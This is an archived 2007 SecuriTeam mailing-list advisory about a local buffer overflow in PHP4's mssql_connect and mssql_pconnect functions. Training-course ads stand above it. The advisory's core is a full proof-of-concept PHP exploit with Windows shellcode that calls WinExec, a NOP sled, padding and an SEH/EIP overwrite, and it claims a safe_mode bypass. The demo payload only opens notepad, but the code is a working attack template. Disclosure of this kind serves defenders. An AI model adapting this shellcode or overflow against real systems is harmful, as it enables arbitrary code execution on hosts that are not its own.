Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] PHP4 Local Buffer Overflow (mssql_connect, mssql_pconnect) |
|---|---|
| Date: | 7 Mar 2007 12:03:32 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - PHP4 Local Buffer Overflow (mssql_connect, mssql_pconnect) ------------------------------------------------------------------------ SUMMARY PHP includes support for Microsoft's SQL server through several functions. Two of PHP's MSSQL functions, mssql_connect and mssql_pconnect, contain a locally exploitable buffer overflow. DETAILS Vulnerable Systems: * PHP4 versions 4.4.6 and prior. Exploit: <?php // PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow // poc exploit (and safe_mode bypass) // windows 2000 sp3 en / seh overwrite // by rgod // site: http://retrogod.altervista.org // u can easily adjust for php5 // this as my little contribute to MOPB $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\xca\x73\xe9\x77". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\x5c\xcf\xe9\x77". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $eip="\xdc\xf5\x12"; $____suntzu=str_repeat("\x90",100); $____suntzu.=$____scode; $____suntzu.=str_repeat("a",2460 - strlen($____scode)); $____suntzu.=$eip; mssql_pconnect($____suntzu); ?> ADDITIONAL INFORMATION The information has been provided by milw0rm. The original article can be found at: <http://www.milw0rm.com/exploits/3417> http://www.milw0rm.com/exploits/3417 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability, SecuriTeam |
|---|---|
| Next by Date: | [NT] Apple QuickTime Color Table ID Heap Corruption Vulnerability, SecuriTeam |
| Previous by Thread: | [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability, SecuriTeam |
| Next by Thread: | [NT] Apple QuickTime Color Table ID Heap Corruption Vulnerability, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |